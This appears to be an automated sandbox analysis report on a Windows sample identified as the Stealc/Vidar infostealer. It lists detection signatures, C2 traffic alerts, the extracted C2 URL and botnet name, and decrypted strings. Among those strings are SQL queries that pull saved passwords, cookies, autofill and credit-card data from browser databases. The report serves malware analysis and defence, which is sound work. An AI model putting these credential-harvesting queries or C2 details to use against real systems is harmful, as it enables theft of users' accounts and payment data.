Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546570
MD5:	806fda7172e2faf55675dd6f5dd76bb5
SHA1:	a0b78d8e750cf05d84f7590295f8c089a0efb130
SHA256:	ce2d291542364be8bec1008295893ba24b3da288898923a4f11bb144bd664e6f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7512 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 806FDA7172E2FAF55675DD6F5DD76BB5)

chrome.exe (PID: 7752 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8000 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2120,i,11807956331036332796,14599083191770811504,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2077275700.0000000000261000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1672546233.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7512	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7512	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7512	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.260000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7512, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7752, ProcessName: chrome.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:19.513663+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49746	TCP
2024-11-01T05:52:57.898375+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49763	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.651531+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.515266+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.932001+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:07.039629+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.940013+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:05.228848+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:52:07.575799+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T05:52:26.391159+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:29.879617+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:31.838264+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:32.812941+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:34.923919+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-11-01T05:52:35.495446+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.260000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.260000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.260000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.260000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.260000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.260000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.260000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.260000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.260000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.260000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.260000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.260000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.260000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.260000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.260000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.260000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.260000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.260000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.260000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.260000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.260000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.260000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.260000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.260000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.260000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.260000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.260000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.260000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.260000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.260000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.260000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.260000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.260000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.260000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.260000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.260000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.260000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.260000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.260000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.260000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.260000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.260000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.260000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.260000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.260000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.260000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.260000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.260000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.260000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.260000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.260000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.260000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.260000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.260000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.260000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.260000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.260000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.260000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.260000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.260000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.260000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.260000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.260000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.260000.0.unpack	String decryptor: history
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.260000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.260000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.260000.0.unpack	String decryptor: History
Source: 0.2.file.exe.260000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.260000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.260000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.260000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.260000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.260000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.260000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.260000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.260000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.260000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.260000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.260000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.260000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.260000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.260000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.260000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.260000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.260000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.260000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.260000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.260000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.260000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.260000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.260000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.260000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Computer Name:
